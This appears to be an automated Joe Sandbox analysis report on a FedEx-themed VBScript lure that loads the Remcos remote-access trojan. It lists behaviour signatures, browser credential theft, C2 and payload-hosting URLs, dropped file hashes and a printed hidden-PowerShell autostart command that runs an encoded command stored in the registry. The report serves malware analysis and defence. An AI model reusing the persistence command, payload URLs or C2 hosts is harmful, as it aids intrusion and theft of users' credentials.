            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformation
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll VolumeInformation
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.DirectoryServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.DirectoryServices.dll VolumeInformation
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll VolumeInformation
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
            Source: C:\Windows\System32\wscript.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 24_2_07584768 CreateNamedPipeW,

            Stealing of Sensitive Information

            barindex
            Yara detected Remcos RAT
            Source: Yara matchFile source: 00000014.00000002.852534659.000000000364B000.00000004.00000020.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000014.00000002.852416599.000000000361C000.00000004.00000020.sdmp, type: MEMORY
            Source: Yara matchFile source: Process Memory Space: ieinstal.exe PID: 4636, type: MEMORYSTR
            Tries to harvest and steal browser information (history, passwords, etc)
            Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies
            Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data

            Remote Access Functionality

            barindex
            Yara detected Remcos RAT
            Source: Yara matchFile source: 00000014.00000002.852534659.000000000364B000.00000004.00000020.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000014.00000002.852416599.000000000361C000.00000004.00000020.sdmp, type: MEMORY
            Source: Yara matchFile source: Process Memory Space: ieinstal.exe PID: 4636, type: MEMORYSTR
            Detected Remcos RAT
            Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeMutex created: \Sessions\1\BaseNamedObjects\Remcos_Mutex_Inj

            Mitre Att&ck Matrix

            Initial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionExfiltrationCommand and ControlNetwork EffectsRemote Service EffectsImpact
            Valid Accounts521
            Scripting            		1
            DLL Side-Loading            		1
            DLL Side-Loading            		1
            Deobfuscate/Decode Files or Information            		1
            OS Credential Dumping            		1
            File and Directory Discovery            		Remote Services1
            Archive Collected Data            		Exfiltration Over Other Network Medium1
            Ingress Tool Transfer            		Eavesdrop on Insecure Network CommunicationRemotely Track Device Without AuthorizationModify System Partition
            Default Accounts11
            Command and Scripting Interpreter            		21
            Registry Run Keys / Startup Folder            		13
            Process Injection            		521
            Scripting            		11
            Input Capture            		13
            System Information Discovery            		Remote Desktop Protocol1
            Data from Local System            		Exfiltration Over Bluetooth11
            Encrypted Channel            		Exploit SS7 to Redirect Phone Calls/SMSRemotely Wipe Data Without AuthorizationDevice Lockout
            Domain Accounts3
            PowerShell            		Logon Script (Windows)21
            Registry Run Keys / Startup Folder            		2
            Obfuscated Files or Information            		Security Account Manager1
            Query Registry            		SMB/Windows Admin Shares11
            Input Capture            		Automated Exfiltration1
            Non-Standard Port            		Exploit SS7 to Track Device LocationObtain Device Cloud BackupsDelete Device Data
            Local AccountsAt (Windows)Logon Script (Mac)Logon Script (Mac)1
            DLL Side-Loading            		NTDS311
            Security Software Discovery            		Distributed Component Object ModelInput CaptureScheduled Transfer1
            Remote Access Software            		SIM Card SwapCarrier Billing Fraud
            Cloud AccountsCronNetwork Logon ScriptNetwork Logon Script1
            Masquerading            		LSA Secrets2
            Process Discovery            		SSHKeyloggingData Transfer Size Limits2
            Non-Application Layer Protocol            		Manipulate Device CommunicationManipulate App Store Rankings or Ratings
            Replication Through Removable MediaLaunchdRc.commonRc.common231
            Virtualization/Sandbox Evasion            		Cached Domain Credentials231
            Virtualization/Sandbox Evasion            		VNCGUI Input CaptureExfiltration Over C2 Channel13
            Application Layer Protocol            		Jamming or Denial of ServiceAbuse Accessibility Features
            External Remote ServicesScheduled TaskStartup ItemsStartup Items13
            Process Injection            		DCSync1
            Application Window Discovery            		Windows Remote ManagementWeb Portal CaptureExfiltration Over Alternative ProtocolCommonly Used PortRogue Wi-Fi Access PointsData Encrypted for Impact
            Drive-by CompromiseCommand and Scripting InterpreterScheduled Task/JobScheduled Task/JobIndicator Removal from ToolsProc Filesystem1
            Remote System Discovery            		Shared WebrootCredential API HookingExfiltration Over Symmetric Encrypted Non-C2 ProtocolApplication Layer ProtocolDowngrade to Insecure ProtocolsGenerate Fraudulent Advertising Revenue

            Behavior Graph

            Hide Legend

            Legend:

            • Process
            • Signature
            • Created File
            • DNS/IP Info
            • Is Dropped
            • Is Windows Process
            • Number of created Registry Values
            • Number of created Files
            • Visual Basic
            • Delphi
            • Java
            • .Net C# or VB.NET
            • C, C++ or other language
            • Is malicious
            • Internet
            behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 557830 Sample: 775578748333_FEDEX.vbs Startdate: 21/01/2022 Architecture: WINDOWS Score: 100 54 www.wizumiya.co.jp 2->54 56 prda.aadg.msidentity.com 2->56 70 Multi AV Scanner detection for domain / URL 2->70 72 Found malware configuration 2->72 74 Multi AV Scanner detection for submitted file 2->74 76 7 other signatures 2->76 10 wscript.exe 2 2->10         started        13 cmd.exe 1 2->13         started        15 cmd.exe 1 2->15         started        signatures3 process4 signatures5 78 VBScript performs obfuscated calls to suspicious functions 10->78 80 Wscript starts Powershell (via cmd or directly) 10->80 82 Very long command line found 10->82 17 powershell.exe 22 10->17         started        84 Suspicious powershell command line found 13->84 86 Encrypted powershell cmdline option found 13->86 20 powershell.exe 10 13->20         started        22 conhost.exe 13->22         started        24 powershell.exe 10 15->24         started        26 conhost.exe 15->26         started        process6 signatures7 62 Suspicious powershell command line found 17->62 64 Very long command line found 17->64 66 Encrypted powershell cmdline option found 17->66 68 2 other signatures 17->68 28 ieinstal.exe 5 9 17->28         started        32 csc.exe 3 17->32         started        35 conhost.exe 17->35         started        37 powershell.exe 20->37         started        39 powershell.exe 24->39         started        process8 dnsIp9 58 rnnfibi.hopto.org 199.195.253.181, 49757, 54666 PONYNETUS United States 28->58 60 www.wizumiya.co.jp 52.68.15.223, 443, 49756, 49758 AMAZON-02US United States 28->60 88 Detected Remcos RAT 28->88 90 Creates autostart registry keys with suspicious values (likely registry only malware) 28->90 92 Creates an autostart registry key pointing to binary in C:\Windows 28->92 94 4 other signatures 28->94 41 iexplore.exe 28->41         started        50 C:\Users\user\AppData\Local\...\tm43worv.dll, PE32 32->50 dropped 43 cvtres.exe 1 32->43         started        45 csc.exe 37->45         started        file10 signatures11 process12 file13 52 C:\Users\user\AppData\Local\...\yy0zjl34.dll, PE32 45->52 dropped 48 cvtres.exe 45->48         started        process14

            Screenshots

            Thumbnails

            This section contains all screenshots as thumbnails, including those not shown in the slideshow.


            windows-stand

            Antivirus, Machine Learning and Genetic Malware Detection

            Initial Sample

            SourceDetectionScannerLabelLink
            775578748333_FEDEX.vbs7%VirustotalBrowse
            775578748333_FEDEX.vbs12%ReversingLabsScript-WScript.Downloader.SLoad

            Dropped Files

            ⊘No Antivirus matches

            Unpacked PE Files

            ⊘No Antivirus matches

            Domains

            SourceDetectionScannerLabelLink
            rnnfibi.hopto.org5%VirustotalBrowse

            URLs

            SourceDetectionScannerLabelLink
            http://pesterbdd.com/images/Pester.pngT0%Avira URL Cloudsafe
            https://www.wizumiya.co.jp/u-0%Avira URL Cloudsafe
            http://pesterbdd.com/images/Pester.png0%URL Reputationsafe
            rnnfibi.hopto.org0%Avira URL Cloudsafe
            https://contoso.com/0%URL Reputationsafe
            https://contoso.com/License0%URL Reputationsafe
            https://contoso.com/Icon0%URL Reputationsafe
            https://www.wizumiya.co.jp/html/user_data/original/images/Aso-new-WO-S_PAgZvxdaV59.bin0%Avira URL Cloudsafe
            https://www.wizumiya.co.jp/html/user_data/original/images/Ev0%Avira URL Cloudsafe
            https://www.wizumiya.co.jp/=-0%Avira URL Cloudsafe

            Domains and IPs

            Contacted Domains

            NameIPActiveMaliciousAntivirus DetectionReputation
            rnnfibi.hopto.org
            		199.195.253.181
            		truetrueunknown
            www.wizumiya.co.jp
            		52.68.15.223
            		truefalse
              		high

              Contacted URLs

              NameMaliciousAntivirus DetectionReputation
              rnnfibi.hopto.orgtrue
              • Avira URL Cloud: safe
              		unknown
              https://www.wizumiya.co.jp/html/user_data/original/images/Aso-new-WO-S_PAgZvxdaV59.binfalse
              • Avira URL Cloud: safe
              		unknown
              https://www.wizumiya.co.jp/html/user_data/original/images/Evtrue
              • Avira URL Cloud: safe
              		unknown

              URLs from Memory and Binaries

              NameSourceMaliciousAntivirus DetectionReputation
              http://pesterbdd.com/images/Pester.pngTpowershell.exe, 0000000C.00000002.634360769.0000000004A63000.00000004.00000001.sdmpfalse
              • Avira URL Cloud: safe
              		unknown
              https://github.com/Pester/PesterTpowershell.exe, 0000000C.00000002.634360769.0000000004A63000.00000004.00000001.sdmpfalse
                		high
                https://www.wizumiya.co.jp/u-ieinstal.exe, 00000014.00000002.852346191.00000000035EF000.00000004.00000020.sdmpfalse
                • Avira URL Cloud: safe
                		unknown
                http://nuget.org/NuGet.exepowershell.exe, 0000000C.00000002.637943799.0000000005982000.00000004.00000001.sdmpfalse
                  		high
                  http://pesterbdd.com/images/Pester.pngpowershell.exe, 0000000C.00000002.634360769.0000000004A63000.00000004.00000001.sdmp, powershell.exe, 0000000C.00000002.639417925.00000000075CA000.00000004.00000001.sdmpfalse
                  • URL Reputation: safe
                  		unknown
                  http://www.apache.org/licenses/LICENSE-2.0.htmlpowershell.exe, 0000000C.00000002.634360769.0000000004A63000.00000004.00000001.sdmp, powershell.exe, 0000000C.00000002.639417925.00000000075CA000.00000004.00000001.sdmpfalse
                    		high
                    https://contoso.com/powershell.exe, 0000000C.00000002.637943799.0000000005982000.00000004.00000001.sdmpfalse
                    • URL Reputation: safe
                    		unknown
                    https://nuget.org/nuget.exepowershell.exe, 0000000C.00000002.637943799.0000000005982000.00000004.00000001.sdmpfalse
                      		high
                      https://contoso.com/Licensepowershell.exe, 0000000C.00000002.637943799.0000000005982000.00000004.00000001.sdmpfalse
                      • URL Reputation: safe
                      		unknown
                      https://contoso.com/Iconpowershell.exe, 0000000C.00000002.637943799.0000000005982000.00000004.00000001.sdmpfalse
                      • URL Reputation: safe
                      		unknown
                      http://schemas.xmlsoap.org/ws/2005/05/identity/claims/namepowershell.exe, 0000000C.00000002.633946561.0000000004921000.00000004.00000001.sdmp, powershell.exe, 00000018.00000002.873636132.0000000004921000.00000004.00000001.sdmp, powershell.exe, 0000001C.00000002.879042376.0000000004741000.00000004.00000001.sdmp, powershell.exe, 0000001D.00000002.878472669.0000000004A81000.00000004.00000001.sdmpfalse
                        		high
                        https://www.wizumiya.co.jp/=-ieinstal.exe, 00000014.00000002.852346191.00000000035EF000.00000004.00000020.sdmpfalse
                        • Avira URL Cloud: safe
                        		unknown
                        http://www.apache.org/licenses/LICENSE-2.0.htmlTpowershell.exe, 0000000C.00000002.634360769.0000000004A63000.00000004.00000001.sdmpfalse
                          		high
                          https://github.com/Pester/Pesterpowershell.exe, 0000000C.00000002.634360769.0000000004A63000.00000004.00000001.sdmp, powershell.exe, 0000000C.00000002.639417925.00000000075CA000.00000004.00000001.sdmpfalse
                            		high

                            World Map of Contacted IPs

                            • No. of IPs < 25%
                            • 25% < No. of IPs < 50%
                            • 50% < No. of IPs < 75%
                            • 75% < No. of IPs

                            Public IPs

                            IPDomainCountryFlagASNASN NameMalicious
                            52.68.15.223
                            		www.wizumiya.co.jpUnited States
                            		16509AMAZON-02USfalse
                            199.195.253.181
                            		rnnfibi.hopto.orgUnited States
                            		53667PONYNETUStrue

                            General Information

                            Joe Sandbox Version:34.0.0 Boulder Opal
                            Analysis ID:557830
                            Start date:21.01.2022
                            Start time:17:17:28
                            Joe Sandbox Product:CloudBasic
                            Overall analysis duration:0h 15m 52s
                            Hypervisor based Inspection enabled:false
                            Report type:light
                            Sample file name:775578748333_FEDEX.vbs
                            Cookbook file name:default.jbs
                            Analysis system description:Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
                            Number of analysed new started processes analysed:32
                            Number of new started drivers analysed:0
                            Number of existing processes analysed:0
                            Number of existing drivers analysed:0
                            Number of injected processes analysed:0
                            Technologies:
                            • HCA enabled
                            • EGA enabled
                            • HDC enabled
                            • AMSI enabled
                            Analysis Mode:default
                            Analysis stop reason:Timeout
                            Detection:MAL
                            Classification:mal100.troj.spyw.evad.winVBS@28/33@4/2
                            EGA Information:
                            • Successful, ratio: 80%
                            HDC Information:Failed
                            HCA Information:
                            • Successful, ratio: 99%
                            • Number of executed functions: 0
                            • Number of non-executed functions: 0
                            Cookbook Comments:
                            • Adjust boot time
                            • Enable AMSI
                            • Found application associated with file extension: .vbs
                            • Override analysis time to 240s for JS/VBS files not yet terminated

                            Warnings

                            • Exclude process from analysis (whitelisted): MpCmdRun.exe, audiodg.exe, BackgroundTransferHost.exe, WMIADAP.exe, backgroundTaskHost.exe, conhost.exe, svchost.exe
                            • TCP Packets have been reduced to 100
                            • Excluded IPs from analysis (whitelisted): 23.211.6.115, 20.190.159.136, 40.126.31.141, 40.126.31.1, 40.126.31.139, 40.126.31.8, 20.190.159.138, 40.126.31.143, 40.126.31.4, 40.127.240.158, 51.104.136.2, 51.11.168.232
                            • Excluded domains from analysis (whitelisted): e12564.dspb.akamaiedge.net, fs.microsoft.com, store-images.s-microsoft.com, login.live.com, www.tm.lg.prod.aadmsa.akadns.net, store-images.s-microsoft.com-c.edgekey.net, settings-win.data.microsoft.com, www.tm.a.prd.aadg.akadns.net, img-prod-cms-rt-microsoft-com.akamaized.net, arc.msn.com, login.msa.msidentity.com, settingsfd-geo.trafficmanager.net
                            • Execution Graph export aborted for target powershell.exe, PID 5616 because it is empty
                            • Not all processes where analyzed, report is missing behavior information
                            • Report creation exceeded maximum time and may have missing disassembly code information.
                            • Report size exceeded maximum capacity and may have missing behavior information.
                            • Report size getting too big, too many NtOpenKeyEx calls found.
                            • Report size getting too big, too many NtProtectVirtualMemory calls found.
                            • Report size getting too big, too many NtQueryValueKey calls found.

                            Simulations

                            Behavior and APIs

                            TimeTypeDescription
                            17:20:07API Interceptor138x Sleep call for process: powershell.exe modified
                            17:21:00AutostartRun: HKCU\Software\Microsoft\Windows\CurrentVersion\Run opklbedebi cmd /c start /b c:\windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden $Retrocogni8=(Get-ItemProperty -Path 'HKCU:\SOFTWARE\AppDataLow\').Rickey;powershell.exe -windowstyle hidden -encodedcommand($Retrocogni8)
                            17:21:08AutostartRun: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run opklbedebi cmd /c start /b c:\windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden $Retrocogni8=(Get-ItemProperty -Path 'HKCU:\SOFTWARE\AppDataLow\').Rickey;powershell.exe -windowstyle hidden -encodedcommand($Retrocogni8)

                            Joe Sandbox View / Context

                            IPs

                            ⊘No context

                            Domains

                            ⊘No context

                            ASNs

                            ⊘No context

                            JA3 Fingerprints

                            ⊘No context

                            Dropped Files

                            ⊘No context

                            Created / dropped Files

                            C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

                            Download File
                            Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                            File Type:data
                            Category:dropped
                            Size (bytes):8003
                            Entropy (8bit):4.839308921501875
                            Encrypted:false
                            SSDEEP:192:yxoe5oVsm5emdVVFn3eGOVpN6K3bkkjo59gkjDt4iWN3yBGHh9smidcU6CXpOTik:DBVoGIpN6KQkj2Wkjh4iUx0mib4J
                            MD5:937C6E940577634844311E349BD4614D
                            SHA1:379440E933201CD3E6E6BF9B0E61B7663693195F
                            SHA-256:30DC628AB2979D2CF0D281E998077E5721C68B9BBA61610039E11FDC438B993C
                            SHA-512:6B37FE533991631C8290A0E9CC0B4F11A79828616BEF0233B4C57EC7C9DCBFC274FB7E50FC920C4312C93E74CE621B6779F10E4016E9FD794961696074BDFBFA
                            Malicious:false
                            Reputation:unknown
                            Preview:PSMODULECACHE......<.e...Y...C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script.........<.e...T...C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PSModule.psm1*.......Install-Script........Save-Module........Publish-Module........Find-Module........Download-Package........Update-Module....

                            C:\Users\user\AppData\Local\Temp\CSCB8D22C72555343A48341CA7311A8A12.TMP

                            Download File
                            Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
                            File Type:MSVC .res
                            Category:dropped
                            Size (bytes):652
                            Entropy (8bit):3.101138302340657
                            Encrypted:false
                            SSDEEP:12:DXt4Ii3ntuAHia5YA49aUGiqMZAiN5grywl8ak7YnqqjlRPN5Dlq5J:+RI+ycuZhNKl8akSjlRPNnqX
                            MD5:110398E3A6E3FAFF6B7917E605399EF4
                            SHA1:2C99A1588B22A3F1B168F9C413CAB1364E98098B
                            SHA-256:1F79ED65EF4FD4135D4315A79EC6FE75A158DA0B23C47935330C5943E248F7E3
                            SHA-512:54473CA7F1DD72187F953AB58CB34546CCBBF61C42F99D44E8E70BBCF9BFE0B0C9A175965E25FC13ECB382AF7F4AE9E67B17BAF0050A606204F7C2A8938120C9
                            Malicious:false
                            Reputation:unknown
                            Preview:.... ...........................L...<...............0...........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...y.y.0.z.j.l.3.4...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e...y.y.0.z.j.l.3.4...d.l.l.....4.....P.r.o.d.u.c.t.V.e.r.s.i.o.n...0...0...0...0...8.....A.s.s.e.m.b.l.y. .V.e.r.s.i.o.n...0...0...0...0...

                            C:\Users\user\AppData\Local\Temp\CSCF0319BB5C3414E72AB519E7A67BBFBFC.TMP

                            Download File
                            Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
                            File Type:MSVC .res
                            Category:dropped
                            Size (bytes):652
                            Entropy (8bit):3.102602060802304
                            Encrypted:false
                            SSDEEP:12:DXt4Ii3ntuAHia5YA49aUGiqMZAiN5gryCtjak7Ynqq3tsPN5Dlq5J:+RI+ycuZhN0xakS32PNnqX
                            MD5:4B615CCC4447D672FE1859E8364297C2
                            SHA1:8109B8E9BDF7EE9F06AED6DE3FBCD39105D86F11
                            SHA-256:9A02A83D27F40171E09271FD9F52A1C9CFDF2E02D1A1EDA59379932A2713F2F6
                            SHA-512:32997D1F1E886BC73A466F21075E59A5B4AC1199B900F5BE2DBF72135F322568F990AC2674D23594FA8911A518F5FC927338CAC0C75D86A85C5707D4D931B7D7
                            Malicious:false
                            Reputation:unknown
                            Preview:.... ...........................L...<...............0...........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...t.m.4.3.w.o.r.v...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e...t.m.4.3.w.o.r.v...d.l.l.....4.....P.r.o.d.u.c.t.V.e.r.s.i.o.n...0...0...0...0...8.....A.s.s.e.m.b.l.y. .V.e.r.s.i.o.n...0...0...0...0...

                            C:\Users\user\AppData\Local\Temp\Grund.dat

                            Download File
                            Process:C:\Windows\System32\wscript.exe
                            File Type:data
                            Category:dropped
                            Size (bytes):26125
                            Entropy (8bit):7.472624330988916
                            Encrypted:false
                            SSDEEP:384:cxuV3hXPDcG+3WuXLo5u+M6gGWLD2x/VjDQes6JL+YYEJEiIo8tuc:cxuBhXbcpNl+M3LqtpQesKL+zoK/
                            MD5:2EC027F5AF868CCA83AD50C2E2604925
                            SHA1:61EA6D742EFE598567175352E6D39E7949CE3CDC
                            SHA-256:ECCF8BD7ACAFE87BE6FC4F5AE205D55475C631064C307B5BFCF4FFFED570299A
                            SHA-512:70D1B60BC9B57CFD1257C5E993FFB51C165CCD20B620A6FCF3EADC431C446AF06423555C36BE113754ACD08A4B9E940858C7804A84CE61D23E2CFAF3E1B852BF
                            Malicious:false
                            Reputation:unknown
                            Preview:......h.0.6.4$^R..4$8..Z.._1..4..6[q....9.u.W.........[q.E..A^=V.\.g.7.`.0/........'..-.C?&6..$..[...x*w.u..N._>........C...rRQd....#.m.=D.Q...F.....+.P.Ut...z...&kE..A^=V.\.g.7.`.0/........'..-.C?&6..$..[...x*w.u..N._>........C...rRQd....#.m.=D.Q...F.....+.P.Ut...z...&k....._........CY.S$u...7[q.6[q.6[q...5.C...U[qus.....lBS....H.C.._r[q.&..-.oUeG.f}...W.=.....x...6[.y.[q.....6[.D3.?...q...Q.6[..r[qu..p.6.......-.1F....Ub......`...7[q.c.q...mw{G..% ..X.q...Yw{G.....h.q....6[.#W[q.....6[.?e..M7[q.7..46[q.o;q...U.1..../U..#~]./U.F../U.....^sx.s.E.!.c.oU.r..}2..4...i.Zq..b.j.....}.....K.*J....6[./8R.u.cs.6.sh.J...]O....<R.......g...4[q.`.......6[.....}.....:.q.}...$..a[Yq.^....3O..-...Y....E.....oUS.Bz.B...^IMP..E...J..wU..\h}.......F.7..J..wU....}..J.0.......3.....~._}...H......6L..u...3..\ .6...*.6...6[.bt[qu.Is.6..be(..t6.9....V..>.../d...4[q...q.o.<.....n....\...d.......%...6[.y.[q..5.6.<.q....6[.y.Zq...mF.6._.&8.6.4.^..l..E.z.{..oU.!

                            C:\Users\user\AppData\Local\Temp\RESADA2.tmp

                            Download File
                            Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
                            File Type:Intel 80386 COFF object file, not stripped, 3 sections, symbol offset=0x47e, 9 symbols
                            Category:dropped
                            Size (bytes):1316
                            Entropy (8bit):3.9700036695171335
                            Encrypted:false
                            SSDEEP:24:HAS9Qh3RhHLhKPfeI+ycuZhNKl8akSjlRPNnq9Gd:6h3D1KPm1ulKl8a3jljq92
                            MD5:AE16F44AF1EC43161EED5BAE183D41FA
                            SHA1:885430D172B8533098F8F273F846CB5F440BF45E
                            SHA-256:18BD2DC6A856E1DAC8B4DCD9B31D6F0DA5684877A0649188C7B3C87432A943C1
                            SHA-512:ACCC2B4402126470222B5ADA9A0C1CE51B2C133DD3990A359DC99E69004A9C0973324A488155B57303E557C2D64B4981EADEAA3EA62FAC1661BBA216DB539617
                            Malicious:false
                            Reputation:unknown
                            Preview:L...H\.a~............debug$S........@...................@..B.rsrc$01........X.......$...........@..@.rsrc$02........P...................@..@........J....c:\Users\user\AppData\Local\Temp\CSCB8D22C72555343A48341CA7311A8A12.TMP........................ky...9............4.......C:\Users\user\AppData\Local\Temp\RESADA2.tmp.-.<...................'...Microsoft (R) CVTRES.Y.=..cwd.C:\Windows\system32.exe.C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe..............................................0.......................H.......L...........H.........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...y.y.0.z.j.l.3.4...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.i.n.a.l.F.i.l.e.

                            C:\Users\user\AppData\Local\Temp\RESD568.tmp

                            Download File
                            Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
                            File Type:Intel 80386 COFF object file, not stripped, 3 sections, symbol offset=0x482, 9 symbols
                            Category:dropped
                            Size (bytes):1320
                            Entropy (8bit):3.972475652697549
                            Encrypted:false
                            SSDEEP:24:H2nW9rkXhHshKE2mfII+ycuZhN0xakS32PNnq9hgd:AWkxeK1mg1ul0xa33Kq9y
